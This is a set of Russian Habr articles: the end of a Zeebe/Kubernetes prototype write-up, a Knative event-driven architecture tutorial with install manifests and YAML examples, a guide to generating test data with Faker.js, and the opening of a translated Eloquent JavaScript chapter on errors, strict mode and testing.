`kubectl apply -f zeebe--sm-volume.yml`
`kubectl apply -f zeebe-volume.yml`
Yml-файлы находятся в соответствующих проектах:
Теперь осталось последовательно создать поды и сервисы. Указанные yml-файлы находятся в корне соответствующих проектов.
`kubctl apply -f zeebe-deployment.yml`
`kubctl apply -f zeebe-sm-deployment.yml`
`kubctl apply -f event-handler-deployment.yml`
`kubctl apply -f rules-engine-deployment.yml`
`kubctl apply -f action-deployment.yml`
Смотрим, как отображаются наборы подов в кластере:
И мы готовы к тестовому запуску!
### Запуск тестового процесса
Запуск процесса осуществляется открытием в браузере соответствующий URL. К примеру, сервис `event-handler` имеет сервис с внешним IP и портом 81 для быстрого доступа.
`http://адрес-кластера:81/start?sum=600&limit=5000
Process started`
Далее можно проверить отображение процесса в `simplemonitor`. У данного микросевиса тоже есть внешний сервис с портом 82.
Зеленым цветом выделен путь, по которому прошел процесс. Серым выделены выполненные задачи, а снизу отображены переменные процесса.
Теперь можно просмотреть лог микросервиса `action`, там можно увидеть значение переменной `statusType`, которое соответствует варианту прохождения процесса.
Поделюсь, какими ресурсами пользовался для подготовки прототипа* <https://www.youtube.com/watch?v=Q3tLKV-6J3c>
* <https://github.com/zeebe-io/zeebe-dmn-worker>
* <https://github.com/berndruecker/zeebe-camunda-dmn/blob/master/README.md>
* <https://zeebe.io/blog/2019/08/zeebe-horizontal-scalability/>
---
### Небольшое послесловие вместо итогов
#### Из плюсов:
* архитектура разработанного прототипа получилась гибкой и расширяемой. Можно добавлять любое количество микросервисов для обработки сложной логики;
* простая нотация BPMN и DMN позволяет привлекать аналитиков и бизнес к обсуждению сложной логики;
* Zeebe показал себя как очень быстрый фреймворк, задержки на получение/отправку сообщений практически отсутствуют;
* Zeebe изначально разрабатывался для работы в кластере, в случае необходимости можно быстро нарастить мощности;
* без ZeeBe Operate можно вполне обойтись, Simple-Monitor отвечает минимальным требованиям.
#### Из минусов:
* хотелось бы иметь возможность редактирования DMN непосредственно в ZeeBe modeler (как это реализовано в Camunda), на данный момент, приходится использовать оба моделлера;
* к сожалению, только в Enterprise версии Camunda есть возможность просмотра пути, по которому принималось решение:
Это очень полезная функция при отладке правил. В Community версии приходится добавлять дополнительное поле типа `output` для логирования, либо разработать свое решение визуализации.
При развертывании прототипа в реальных условиях в кластере k8s необходимо добавить ограничения по ресурсам (CPU и RAM), также нужно будет подобрать лучшую систему хранения исторических данных.
### Где применять такие технологии:
* как оркестрация внутри одной команды или продукта в виде перекладывания сложной логики на диаграммы BPMN / DMN;
* в сфере, где идет потоковая обработка данных с большим количеством интеграций. В банке это может быть проведение или проверка транзакций, обработка данных из внешних систем или просто многоэтапная трансформация данных;
* как частичная альтернатива существующего стека ESB или Kafka для интеграции между командами.
Коллеги, понимаю, что есть множество разных технологий и подходов. Буду рад, если поделитесь в комментариях вашим опытом: как вы решаете подобные задачи? | https://habr.com/ru/post/545492/ | null | ru | null |
# Event-driven архитектура в Kubernetes
Kubernetes, как система оркестрации, позволяет автоматизировать процесс развертывания сложных приложений и восстанавливать ожидаемое состояние кластера после сбоев. В общем случае приложение представляет собой резидентно запущенные контейнеры, которые обрабатывают запросы клиентов в цикле обработки событий, при этом при росте нагрузки могут создаваться дополнительные реплики (с использованием механизма Horizontal Pod Autoscaling). Однако, нередко бывают случаи, когда сервис используется не очень часто, но при этом в запущенном состоянии он забирает большое количество оперативной памяти или процессорного времени, и желательно обеспечить механизм запуска сервиса по запросу (или по внешнему событию). Для реализации такого варианта использования сейчас доступен инструмент knative, который был принят в марте 2022 года в качестве incubating-проекта в CNCF (Cloud Native Computing Foundation). В этой статье мы разберемся с основными понятиями knative и попробуем создать архитектуру приложения, основанную на событиях, с использованием eventing-возможностей knative.
Прежде всего отметим, что knative реализует модель "функция как сервис" по аналогии с AWS Lambda, Google Cloud Functions и другими похожими реализациями. KNative обеспечивает собственный механизм масштабирования (опирается на HPA), который ориентируется на запрос ресурсов экземплярами сервиса (функциями) и количество запросов. KNative может работать с существующим кластером Kubernetes, а также использовать один из вариантов установки на собственный компьютер (minikube, microk8s, …). В случае с microk8s его можно разрешить как плагин:
```
snap install microk8s --classic
microk8s enable community
microk8s enable knative
microk8s start
```
Для установки на кластер Kubernetes можно использовать Yaml-файлы для Serving (отвечает за запуск, регистрацию и удаление функций) и Eventing (управление очередями сообщений). В первой части мы будем иметь дело только с Serving:
```
kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.6.0/serving-crds.yaml
kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.6.0/serving-core.yaml
kubectl apply -f https://github.com/knative/net-kourier/releases/download/knative-v1.6.0/kourier.yaml
kubectl patch configmap/config-network \
--namespace knative-serving \
--type merge \
--patch '{"data":{"ingress-class":"kourier.ingress.networking.knative.dev"}}'
kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.6.0/serving-default-domain.yaml
kubectl apply -f https://github.com/knative/serving/releases/download/knative-v1.6.0/serving-hpa.yaml
```
Как можно видеть, Knative включает в себя также Ingress-контроллер, который используется для обработки входящего трафика и запуска (или масштабирования) функций.
Также для управления KNative можно установить оператор:
```
kubectl apply -f https://github.com/knative/operator/releases/download/knative-v1.6.0/operator.yaml
```
После этого можно зарегистрировать необходимые компоненты (KNative serving, Ingress Controller):
```
apiVersion: v1
kind: Namespace
metadata:
name: knative-serving
---
apiVersion: operator.knative.dev/v1beta1
kind: KnativeServing
metadata:
name: knative-serving
namespace: knative-serving
---
apiVersion: operator.knative.dev/v1beta1
kind: KnativeServing
metadata:
name: knative-serving
namespace: knative-serving
spec:
ingress:
kourier:
enabled: true
config:
network:
ingress-class: "kourier.ingress.networking.knative.dev"
```
Кроме Kourier также могут использоваться ingress-контроллеры Istio или Contour.
После установки любым способом в кластере появится новое пространство имен knative-serving, включающее служебные процессы ingress-контроллера (controller, для переадресации входящих запросов по названию домена или по заголовку Host в запросе), Autoscaler (для автоматического запуска-остановки экземпляров контейнеров), Activator (отвечает за пересылку запросов и отправку метрик в autoscaler). При установке через оператор также добавляются webhook для отслеживания изменений в конфигурации KNative (например, в Kind: KnativeServing) и выполнения действий по согласованию состояния развертывания в соответствии с новыми параметрами.
Теперь, когда мы установили управляющие процессы knative, перейдем к установке инструментов управления. Для управления функциями установим инструмент командной строки kn:
```
wget https://github.com/knative/client/releases/download/knative-v1.6.0/kn-linux-amd64
chmod +x kn-linux-amd64
sudo mv kn-linux-amd64 /usr/local/bin/kn
```
Основной единицей управления в KNative является сервис (Service), который также определен как тип ресурса Kubernetes ksvc (или kservice). Для развертывания сервиса можно использовать как команду kn service create, так и определение ресурса через yaml. При создании ресурса обязательно определить название образа контейнера, который будет обрабатывать входящий запрос (--image), а также ограничения и опции, которые обычно используются в Deployment:
* `--arg` список значений для аргументов командной строки для передачи в entrypoint контейнера;
* `--cmd` переопределение команды для вызова в entrypoint;
* `--concurrency-limit` максимальное количество запросов для обработки одной репликой;
* `--env` - изменение переменных окружения для контейнера;
* `--revision-name` - определении ревизии (используется для версионирования разных версий функции);
* `--limit`, `--request` - ограничение и изначальный запрос ресурсов (например, cpu, memory, …);
* `--mount` - монтирование ConfigMap (cm:name), Secret (secret:name) или именованный volume (определяется в --volume) в указанный каталог в контейнере;
* `--port` - определение номера порта, на котором приложение прослушивает запросы
* `--probe-liveness` - определение способа проверки доступности (например, http:0.0.0.0:8080:/ping);
* `--probe-readiness` - проверка готовности сервиса к обработке запросов (например, exec:/checkreadiness.sh);
* `--scale-min`, `--scale-max`, `--scale-init` - минимальное, максимальное и начальное значение количества реплик сервиса (любое значение может быть 0, но max должен быть ≥min);
* `--scale-metric` - какая метрика используется для оценки необходимости изменения количества реплик (например, rps для оценки количества запросов в секунду);
* `--scale-window` - интервал между обновлениями количества активных реплик (например, 5s);
* `--volume` - подключение разделов (например, volumename=pvc: связывает pvc с именем name и соответствующий volume (используется в mount).
С точки зрения разработчика функция представляет собой веб-сервис, который принимает запросы на расположении / и отдает ответ, который будет доставлен клиенту. Например, простая функция Hello, World на Go может выглядеть так:
```
package main
import (
"fmt"
"net/http"
"os"
)
func handler(w http.ResponseWriter, r *http.Request) {
serviceName := os.Getenv("SERVICE_NAME")
fmt.Fprintf(w, "%s is called!\n", serviceName)
}
func main() {
http.HandleFunc("/", handler)
http.ListenAndServe(":8080", nil)
}
```
Пока мы будем использовать готовый контейнер из примеров и создадим новый сервис:
```
kn service create hello --image gcr.io/knative-samples/helloworld-go
```
После создания сервиса мы увидим адрес для подключения к функции. Обратите внимание, что для внешнего подключения будет использоваться адрес, к которому присоединился kourier и его можно узнать с помощью команды:
```
kubectl get svc -n knative-serving kourier
```
Если knative будет развернут при отсутствии поставщика внешних адресов для LoadBalancer, можно заменить тип сервиса на ClusterIP и добавить для него ExternalIPs для публикации. Также можно установить, например, metallb (в microk8s может быть добавлен через microk8s enable metallb:192.168.100.250-192.168.100.254).
Для корректного обращения к функции нужно будет указывать зарегистрированный адрес в заголовке Host.
```
curl -H 'Host: hello.default.example.com' http://externalip
```
Посмотреть список активных функций можно командой:
```
kubectl get ksvc
NAME URL LATESTCREATED LATESTREADY READY REASON
hello http://hello.default.example.com hello-00001 hello-00001 True
```
Как можно видеть, здесь также указывается актуальная ревизия, которая и будет принимать запросы по умолчанию. При публикации новой версии трафик переключается на нее, но с помощью опции `--traffic` можно указать какая доля трафика будет отправлена на какую ревизию (например, для проведения экспериментов).
Доступные ревизии также могут быть получены через `kubectl get revisions`, связь Host и соответствующих функций через `kubectl get routes`. Также для управления развертыванием в CI/CD можно использовать ресурсы в `apiVersion: serving.knative.dev/v1` (`Service`, `Revision`, `Route`).
Теперь, когда мы умеем регистрировать отдельные функции и привязывать их к доменам, можно перейти к созданию архитектуры, основанной на событиях и поговорить про eventing.
В eventing ключевыми можно обозначить поставщиков событий (event producers), получателей событий (event consumers) и посредника между ними, в роли которого чаще всего используется брокер очередей (event sink). Sink выполняет функцию маршрутизации событий от поставщиков к получателям и также во многих случаях решает задачу буферизации (накопления) сообщений, если на момент отправки от producer не было ни одного consumer.
С точки зрения KNative функции могут выполняться последовательно (при этом на каждом этапе функция принимает событие на вход, выполняет обработку и формирует новое событие на выход, т.е. является одновременно и consumer (тело http-запроса) и producer (результат обработки запроса). Последняя функция в цепочке не возвращает результат. Также выполнение может происходить параллельно.
Прежде всего установим KNative Eventing. При использовании ручной установки это можно выполнить через применение CRD:
```
kubectl apply -f https://github.com/knative/eventing/releases/download/knative-v1.6.0/eventing-crds.yaml kubectl apply -f https://github.com/knative/eventing/releases/download/knative-v1.6.0/eventing-core.yaml
```
Для установки через оператор можно создать необходимые ресурсы:
```
apiVersion: v1
kind: Namespace
metadata:
name: knative-eventing
---
apiVersion: operator.knative.dev/v1beta1
kind: KnativeEventing
metadata:
name: knative-eventing
namespace: knative-eventing
```
Для реализации sink можно использовать каналы в памяти (ненадежно, поскольку будут потеряны при перезапуске):
```
kubectl apply -f https://github.com/knative/eventing/releases/download/knative-v1.6.0/in-memory-channel.yaml
```
Альтернативно можно установить поддержку каналов с использованием Apache Kafka:
```
kubectl apply -f https://github.com/knative-sandbox/eventing-kafka-broker/releases/download/knative-v1.6.2/eventing-kafka-controller.yaml kubectl apply -f https://github.com/knative-sandbox/eventing-kafka-broker/releases/download/knative-v1.6.2/eventing-kafka-channel.yaml
```
Источником событий для запуска последовательности может быть как функция (в этом случае они объединяются через Sequence), так и настроенная очередь (например, можно создать KafkaSource):
```
apiVersion: sources.knative.dev/v1beta1
kind: KafkaSource
metadata:
name: kafka-source
spec:
consumerGroup: knative-group
bootstrapServers:
- my-cluster-kafka-bootstrap.kafka:9092
topics:
- knative-demo-topic
sink:
ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: event-display
```
В ref указывается в какой Service будут отправляться все новые сообщения в topic knative-demo-topic. Также источниками данных может быть периодическое событие (PingSource), внешний запрос (ApiServerSource), данные из Apache Camel (CamelSource), а также из произвольного контейнера (ContainerSource, он должен их отправлять через POST-запрос по протоколу [Cloud Events](https://kafka.apache.org/)). Регистрация источника может быть выполнена как через применение yaml-ресурса в apiVersion sources.knative.dev/v1beta1, так и через командную строку:
```
kn source ping create mysource --sink <...>
```
Для создания последовательности обработки событий нужно прежде всего зарегистрировать брокер:
```
kn broker create main
```
или через yaml:
```
apiVersion: eventing.knative.dev/v1
kind: Broker
metadata:
name: default
```
При создании брокера можно указать расположение конфигурации (для автоматического извлечения параметров подключения) и класс брокера (для создания собственных реализаций). Далее мы соединим три сервиса в последовательность обработки событий:
```
apiVersion: flows.knative.dev/v1
kind: Sequence
metadata:
name: sequence
spec:
channelTemplate:
apiVersion: messaging.knative.dev/v1
kind: InMemoryChannel
steps:
- ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: first
- ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: second
- ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: third
reply:
ref:
kind: Broker
apiVersion: eventing.knative.dev/v1
name: default
---
apiVersion: sources.knative.dev/v1
kind: PingSource
metadata:
name: ping-source
spec:
schedule: "*/2 * * * *"
contentType: "application/json"
data: '{"message": "Hello world!"}'
sink:
ref:
apiVersion: eventing.knative.dev/v1
kind: Broker
name: default
---
apiVersion: eventing.knative.dev/v1
kind: Trigger
metadata:
name: sequence-trigger
spec:
broker: default
filter:
attributes:
type: dev.knative.sources.ping
subscriber:
ref:
apiVersion: flows.knative.dev/v1
kind: Sequence
name: sequence
```
Здесь используется канал для передачи сообщений в памяти. Сообщения через брокер запустят последовательность (здесь используется триггер для фильтрации сообщений по типу и запуску соответствующей последовательности), выход первой функции поступит на вход второй, затем аналогично на третью. В действительности можно было бы обойтись и без брокера (напрямую передавать выход PingSource в sink Sequence), но тогда мы не сможем воспользоваться возможностями буферизации брокеров (например, [Apache Kafka](https://kafka.apache.org/)). Объект reply указывает, куда будет отправлен ответ последней функции последовательности (в нашем случае - обратно в брокер), здесь также можно указать другую последовательность или сервис (в этом случае обработка на нем завершится). Объект reply может отсутствовать, если результат обработки не имеет значения.
Спецификация для параллельной обработки состоит из списка branches, в каждом из которых определяются filter (отбор релевантных событий) и subscriber (обработчик событий). Оба объекта используют ref для указания на соответствующий сервис или даже целую последовательность или другую параллельную обработку. Также может использоваться uri для вызова внешнего сервиса для обработки события. Результат может быть аккумулирован и отправлен через reply в сервис или поток обработки (Sequence или Parallel).
```
apiVersion: flows.knative.dev/v1
kind: Parallel
metadata:
name: me-odd-even-parallel
spec:
channelTemplate:
apiVersion: messaging.knative.dev/v1
kind: InMemoryChannel
branches:
- filter:
ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: filter
subscriber:
ref:
apiVersion: serving.knative.dev/v1
kind: Service
name: transformer
```
Таким образом, KNative обеспечивает не только управление запуском функций в соответствии с актуальной нагрузкой, но и способы взаимодействия функций в модели потока событий, которые могут иметь как внешнее происхождение (например, из Kafka, API-запроса или любого другого источника, который может быть создан программно), так и являться выводом предыдущего сервиса или потока, которые координируются через механизмы KNative Eventing и позволяют организовать настройку взаимодействие компонентов приложения, построенного на событийно-ориентированной архитектуре, с использованием yaml-конфигураций внутри кластера Kubernetes.
Статья подготовлена в преддверии старта курса "[DevOps практики и инструменты](https://otus.pw/R2NS/)".
* [Узнать подробнее о курсе и зарегистрироваться на демоурок](https://otus.pw/R2NS/) | https://habr.com/ru/post/682466/ | null | ru | null |
# Генерирование фейковых данных для вашего JavaScript-приложения с помощью Faker
Для того, чтобы продемонстрировать работу приложения, нам частенько приходится заставлять его работать с выдуманными данными, ведь негоже, чтобы заголовки были пустыми, а таблицы лишь расчерченными, но не заполненными.
Как правило, при создании приложения, мы не очень-то переживаем о том, c какими именно данными в итоге оно будет работать, мы просто выдумываем какой-то пример, которого достаточно для того, чтобы продолжать работать над логикой, и, собственно, продолжаем работать над логикой.
К счастью, [Marak](https://twitter.com/marak) создал опрятное средство, которое позволяет нам генерировать фейковые данные на лету: [Faker](https://github.com/Marak/faker.js).
Начнем с небольшого примера
---------------------------
Допустим, нам нужно на лету создать пользователя. Мы хотим, чтобы у него было имя, почта, адрес, биография и даже аватар.
Что позволяет нам делать Faker:
```
var user = {
name: faker.name.findName(),
email: faker.internet.email(),
address: faker.address.streetAddress(),
bio: faker.lorem.sentence(),
image: faker.image.avatar()
};
```
Все. Теперь у нас есть полноценный пользователь, в образе объекта, который обладает всеми желаемыми свойствами:
```
{
"name": "Adaline Carroll",
"email": "Albina.Ledner@gmail.com",
"address": "545 Fritsch Locks",
"bio": "dolorem officiis doloribus ut",
"image": "https://s3.amazonaws.com/uifaces/faces/twitter/joelhelin/128.jpg"
}
```
Теперь мы можем делать с нашим пользователем все, что угодно, в любой части программы, не имея дел с базой данных, которую надо было бы заселять вручную. Дальше я расскажу вам о некоторых интересных особенностях Faker.
Использование Faker
-------------------
Вы можете работать с Faker как в браузере, так и на сервере с помощью Node.
Следуя [документации](https://github.com/Marak/faker.js) разберемся с тем, как его настроить и установить.
### Подключение к странице
```
<script>
var name = faker.name.findName();
var randomEmail = faker.internet.email();
```
### Работа в Node
```
var faker = require('faker');
var name = faker.name.findName();
var randomEmail = faker.internet.email();
```
Вот и все. Давайте посмотрим, с какими еще данными мы можем рабоать.
Данные Faker
------------
Список данных, которые Faker может сгенерировать для нас, достаточно велик. Вот основной:
* name
* address
* phone
* internet
* company
* image
* lorem
* helpers
* date
* random
* hacker
Каждый из пунктов имеет много подпунктов и настроек. Например:
* name
+ firstName
+ lastName
+ findName
+ prefix
+ suffix
К каждому свойству можно обратиться с помощью функции:
```
// Chris
var firstName = faker.name.firstName();
// Sevilleja
var lastName = faker.name.lastName();
// Chris Sevilleja
var findName = faker.name.findName();
// Mr.
var prefix = faker.name.prefix();
// PhD
var suffix = faker.name.suffix();
```
Полный список данных описанием, с которыми позволяет работать Faker, можно изучить [здесь](https://github.com/Marak/faker.js#api).
«Хэлперы»
---------
Также для множества категорий данных Faker предоставляет набор «хелперов», которые призваны еще больше упростить работу. Вместо того, чтобы извлекать содержимое из одного поля, а потом браться за другое, «хэлперы» позволяют работать с готовыми, объединенными наборами данных.
Приведу несколько примеров.
### fakers.helpers.contextualCard()
Готовый набор данных о пользователе, который включает в себя имя, фамилию, почту, адрес и аватар:
```
{
"name": "Kaleigh",
"username": "Kaleigh60",
"avatar": "https://s3.amazonaws.com/uifaces/faces/twitter/mbilderbach/128.jpg",
"email": "Kaleigh6047@gmail.com",
"dob": "1961-08-07T02:37:45.068Z",
"phone": "113.601.0680",
"address": {
"street": "Myah Course",
"suite": "Apt. 657",
"city": "Boyerberg",
"zipcode": "66413-8920",
"geo": {
"lat": "-44.6203",
"lng": "16.7454"
}
},
"website": "megane.biz",
"company": {
"name": "Little-Reinger",
"catchPhrase": "Enhanced regional emulation",
"bs": "interactive generate bandwidth"
}
}
```
### fakers.helpers.userCard()
Сокращенный набор данных, но включающий в себя аватар:
```
{
"name": "George Kohler",
"username": "Emilio_Grady49",
"email": "Aurore_Wintheiser90@gmail.com",
"address": {
"street": "Corwin Cove",
"suite": "Suite 550",
"city": "New Myah",
"zipcode": "57817",
"geo": {
"lat": "-3.4045",
"lng": "-16.7806"
}
},
"phone": "1-806-338-0724 x844",
"website": "katheryn.net",
"company": {
"name": "Purdy, Lesch and Jacobi",
"catchPhrase": "Programmable incremental frame",
"bs": "24/365 optimize initiatives"
}
}
```
### fakers.helpers.createTransaction()
```
{
"amount": "757.24",
"date": "2012-02-02T08:00:00.000Z",
"business": "Bahringer Group",
"name": "Home Loan Account 5279",
"type": "deposit",
"account": "63843216"
}
```
### faker.helpers.createCard()
Полный набор данных о пользователе, включая posts, необходимый для симуляции записей в блоге:
```
{
"name": "Fern Ritchie",
"username": "Vladimir.Feest",
"email": "Llewellyn_Robel@gmail.com",
"address": {
"streetA": "Ratke Street",
"streetB": "431 Terry Prairie",
"streetC": "027 Tyler Plaza Apt. 166",
"streetD": "Apt. 095",
"city": "Crooksstad",
"state": "New Hampshire",
"country": "Ukraine",
"zipcode": "53303",
"geo": {
"lat": "-5.9355",
"lng": "20.5942"
}
},
"phone": "477-849-4756 x71564",
"website": "emile.org",
"company": {
"name": "Stehr Inc",
"catchPhrase": "Universal 6th generation contingency",
"bs": "granular whiteboard bandwidth"
},
"posts": [{
"words": ["voluptatem", "quia", "ipsam"],
"sentence": "maxime et nemo et sed",
"sentences": "blanditiis sint molestiae facilis\net molestiae velit consequatur sit aut iure nihil\neaque quo voluptatibus",
"paragraph": "reiciendis exercitationem assumenda provident odio\nasperiores fugit officia\nperferendis exercitationem a\nnam et ea\na ex autem ducimus\nsint tenetur officia ratione nesciunt impedit qui"
}, {
"words": ["voluptatem", "fugiat", "laborum"],
"sentence": "quis vel consequatur placeat eum voluptas laboriosam",
"sentences": "natus ut assumenda esse rerum repudiandae\ntempore excepturi nemo et velit inventore minus nihil officiis\nexcepturi corrupti enim explicabo quaerat",
"paragraph": "sint eum tenetur id occaecati\nitaque veritatis aperiam libero quibusdam repudiandae explicabo accusamus rerum inventore\net placeat enim\ndolor sit dolores nulla doloribus"
}, {
"words": ["illum", "quia", "voluptas"],
"sentence": "libero eos quia velit qui sint aut",
"sentences": "eligendi esse blanditiis magni perferendis cumque quibusdam qui iste vitae\naliquam odio aut quaerat\nveritatis consequatur qui consequuntur",
"paragraph": "qui facere ex et consequatur\nut iusto maxime quia deleniti sint aut\nut inventore magni ipsum necessitatibus et numquam qui consectetur aperiam\nnam non quisquam tempore corporis adipisci nobis rem\nqui doloribus inventore itaque est corrupti modi vero quidem quaerat"
}],
"accountHistory": [{
"amount": "435.13",
"date": "2012-02-02T08:00:00.000Z",
"business": "Dare Inc",
"name": "Home Loan Account 4225",
"type": "payment",
"account": "69883581"
}, {
"amount": "993.77",
"date": "2012-02-02T08:00:00.000Z",
"business": "Yundt, VonRueden and Marks",
"name": "Credit Card Account 2737",
"type": "withdrawal",
"account": "32957725"
}, {
"amount": "844.46",
"date": "2012-02-02T08:00:00.000Z",
"business": "Sipes-Boyer",
"name": "Investment Account 5882",
"type": "deposit",
"account": "50708763"
}]
}
```
Использование шаблона Node API
------------------------------
Мы можем быстро создать Node API, которое будет возвращать фейковые данные. В этом примере конечным результатом работы с API будет возврат пользовательских данных:
```
app.get('/api/user', function(req, res) {
res.json({
name: faker.name.findName(),
email: faker.internet.email(),
address: faker.address.streetAddress(),
bio: faker.lorem.sentence(),
image: faker.image.avatar()
};
});
```
После того, как сервер будет запущен, результат работы API отобразится Postman'ом; как мы видим, это данные в формате JSON:
Выводы
------
Надеюсь, что Faker упростит создание приложений, некоторым разработчикам. Этот пакет позволяет с легкостью генерировать данные и организовывать работу через API. Также рекомендуя посетить официальный сайт проекта, там вы найдете много интересного и сможете оценить объем данных, которыми позволяет манипулировать Faker. | https://habr.com/ru/post/248999/ | null | ru | null |
# Выразительный JavaScript: Поиск и обработка ошибок
#### Содержание
* [Введение](http://habrahabr.ru/post/240219/)
* [Величины, типы и операторы](http://habrahabr.ru/post/240223/)
* [Структура программ](http://habrahabr.ru/post/240225/)
* [Функции](http://habrahabr.ru/post/240349/)
* [Структуры данных: объекты и массивы](http://habrahabr.ru/post/240813/)
* [Функции высшего порядка](http://habrahabr.ru/post/241155/)
* [Тайная жизнь объектов](http://habrahabr.ru/post/241587/)
* [Проект: электронная жизнь](http://habrahabr.ru/post/241776/)
* [Поиск и обработка ошибок](http://habrahabr.ru/post/242609/)
* [Регулярные выражения](http://habrahabr.ru/post/242695/)
* [Модули](http://habrahabr.ru/post/243273/)
* [Проект: язык программирования](http://habrahabr.ru/post/243277/)
* [JavaScript и браузер](http://habrahabr.ru/post/243311/)
* [Document Object Model](http://habrahabr.ru/post/243815/)
* [Обработка событий](http://habrahabr.ru/post/244041/)
* [Проект: игра-платформер](http://habrahabr.ru/post/244405/)
* [Рисование на холсте](http://habrahabr.ru/post/244545/)
* [HTTP](http://habrahabr.ru/post/245145/)
* [Формы и поля форм](http://habrahabr.ru/post/245731/)
* [Проект: Paint](http://habrahabr.ru/post/245767/)
* [Node.js](http://habrahabr.ru/post/245775/)
* [Проект: веб-сайт по обмену опытом](http://habrahabr.ru/post/246331/)
* [Песочница для кода](http://eloquentjavascript.net/code)
*Отладка изначально вдвое сложнее написания кода. Поэтому, если вы пишете код настолько заумный, насколько можете, то по определению вы не способны отлаживать его.
Брайан Керниган и П.Ж.Плауэр, «Основы программного стиля»*
*Юан-Ма написал небольшую программу, использующую много глобальных переменных и ужасных хаков. Ученик, читая программу, спросил его: «Вы предупреждали нас о подобных техниках, но при этом я нахожу их в вашей же программе. Как это возможно?» Мастер ответил: «Не нужно бежать за поливальным шлангом, если дом не горит».
Мастер Юан-Ма, «Книга программирования».*
Программа – это кристаллизованная мысль. Иногда мысли путаются. Иногда при превращении мыслей в программу в код вкрадываются ошибки. В обоих случаях получается повреждённая программа.
Недостатки в программах обычно называют ошибками. Это могут быть ошибки программиста или проблемы в системах, с которыми программа взаимодействует. Некоторые ошибки очевидны, другие – трудноуловимы, и могут скрываться в системах годами.
Часто проблема возникает в тех ситуациях, возникновение которых программист изначально не предвидел. Иногда этих ситуаций нельзя избежать. Когда пользователя просят ввести его возраст, а он вводит «апельсин», это ставит программу в непростую ситуацию. Эти ситуации необходимо предвидеть и как-то обрабатывать.
#### Ошибки программистов
В случае ошибок программистов наша цель ясна. Нам надо найти их и исправить. Таковые ошибки варьируются от простых опечаток, на которые компьютер пожалуется сразу же, как только увидит программу, до скрытых ошибок в нашем понимании того, как программа работает, которые приводят к неправильным результатам в особых случаях. Ошибки последнего рода можно искать неделями.
Разные языки по-разному могут помогать вам в поиске ошибок. К сожалению, JavaScript находится на конце этой шкалы, обозначенном как «вообще почти не помогает». Некоторым языкам надо точно знать типы всех переменных и выражений ещё до запуска программы, и они сразу сообщат вам, если типы использованы некорректно. JavaScript рассматривает типы только во время исполнения программ, и даже тогда он разрешает делать не очень осмысленные вещи без всяких жалоб, например
```
x = true * "обезьяна"
```
На некоторые вещи JavaScript всё-таки жалуется. Написание синтаксически неправильной программы сразу вызовет ошибку. Другие ошибки, например вызов чего-либо, не являющегося функцией, или обращение к свойству неопределённой переменной, возникнут при выполнении программы, когда она сталкивается с такой бессмысленной ситуацией.
Но часто ваши бессмысленные вычисления просто породят NaN (not a number) или undefined. Программа радостно продолжит, будучи уверенной в том, что она делает что-то осмысленное. Ошибка проявит себя позже, когда такое фиктивное значение уже пройдёт через несколько функций. Она может вообще не вызвать сообщение об ошибке, а просто привести к неправильному результату выполнения. Поиск источника таких проблем – сложная задача.
Процесс поиска ошибок (bugs) в программах называется отладкой (debugging).
#### Строгий режим (strict mode)
JavaScript можно заставить быть построже, переведя его в строгий режим. Для этого наверху файла или тела функции пишется «use strict». Пример:
```
function canYouSpotTheProblem() {
"use strict";
for (counter = 0; counter < 10; counter++)
console.log("Всё будет офигенно");
}
canYouSpotTheProblem();
// → ReferenceError: counter is not defined
```
Обычно, когда ты забываешь написать var перед переменной, как в примере перед counter, JavaScript по-тихому создаёт глобальную переменную и использует её. В строгом режиме выдаётся ошибка. Это очень удобно. Однако, ошибка не выдаётся, когда глобальная переменная уже существует – только тогда, когда присваивание создаёт новую переменную.
Ещё одно изменение – привязка this содержит undefined в тех функциях, которые вызывали не как методы. Когда мы вызываем функцию не в строгом режиме, this ссылается на объект глобальной области видимости. Поэтому если вы случайно неправильно вызовете метод в строгом режиме, JavaScript выдаст ошибку, если попытается прочесть что-то из this, а не будет радостно работать с глобальным объектом.
К примеру, рассмотрим код, вызывающий конструктор без ключевого слова new, в случае чего this не будет ссылаться на создаваемый объект.
```
function Person(name) { this.name = name; }
var ferdinand = Person("Евлампий"); // ой-вэй
console.log(name);
// → Евлампий
```
Некорректный вызов Person успешно происходит, но возвращается как undefined и создаёт глобальную переменную name. В строгом режиме всё по-другому:
```
"use strict";
function Person(name) { this.name = name; }
// Опаньки, мы ж забыли 'new'
var ferdinand = Person("Евлампий ");
// → TypeError: Cannot set property 'name' of undefined
```
Нам сразу сообщают об ошибке. Очень удобно.
Строгий режим умеет ещё кое-что. Он запрещает вызывать функцию с несколькими параметрами с одним и тем же именем, и удаляет некоторые потенциально проблемные свойства языка (например, инструкцию with, которая настолько ужасна, что даже не обсуждается в этой книге).
Короче говоря, надпись «use strict» перед текстом программы редко причиняет проблемы, зато помогает вам видеть их.
#### Тестирование
Если язык не собирается помогать нам в поиске ошибок, приходится искать их сложным способом: запуская программу и наблюдая, делает ли она что-то так, как надо.
Делать это вручную, снова и снова – верный способ сойти с ума. К счастью, часто возможно написать другую программу, которая автоматизирует проверку вашей основной программы.
Для примера вновь обратимся к типу Vector.
```
function Vector(x, y) {
this.x = x;
this.y = y;
}
Vector.prototype.plus = function(other) {
return new Vector(this.x + other.x, this.y + other.y);
};
```
Мы напишем программу, которая проверит, что наша реализация Vector работает, как нужно. Затем после каждого изменения реализации мы будем запускать проверочную программу, чтобы убедиться, что мы ничего не сломали. Когда мы добавим функциональности (к примеру, новый метод) к типу Vector, мы добавим проверки к этой новой функциональности.
```
function testVector() {
var p1 = new Vector(10, 20);
var p2 = new Vector(-10, 5);
var p3 = p1.plus(p2);
if (p1.x !== 10) return "облом: x property";
if (p1.y !== 20) return "облом: y property";
if (p2.x !== -10) return "облом: negative x property";
if (p3.x !== 0) return "облом: x from plus";
if (p3.y !== 25) return "облом: y from plus";
return "всё пучком";
}
console.log(testVector());
// → всё пучком
```
Написание таких проверок приводит к появлению повторяющегося кода. К счастью, есть программные продукты, помогающие писать наборы проверок при помощи специального языка, приспособленного именно для написания проверок. Их называют testing frameworks.
#### Отладка (debugging)
Когда вы заметили проблему в программе,– она ведёт себя неправильно и выдаёт ошибки,- самое время выяснить, в чём проблема.
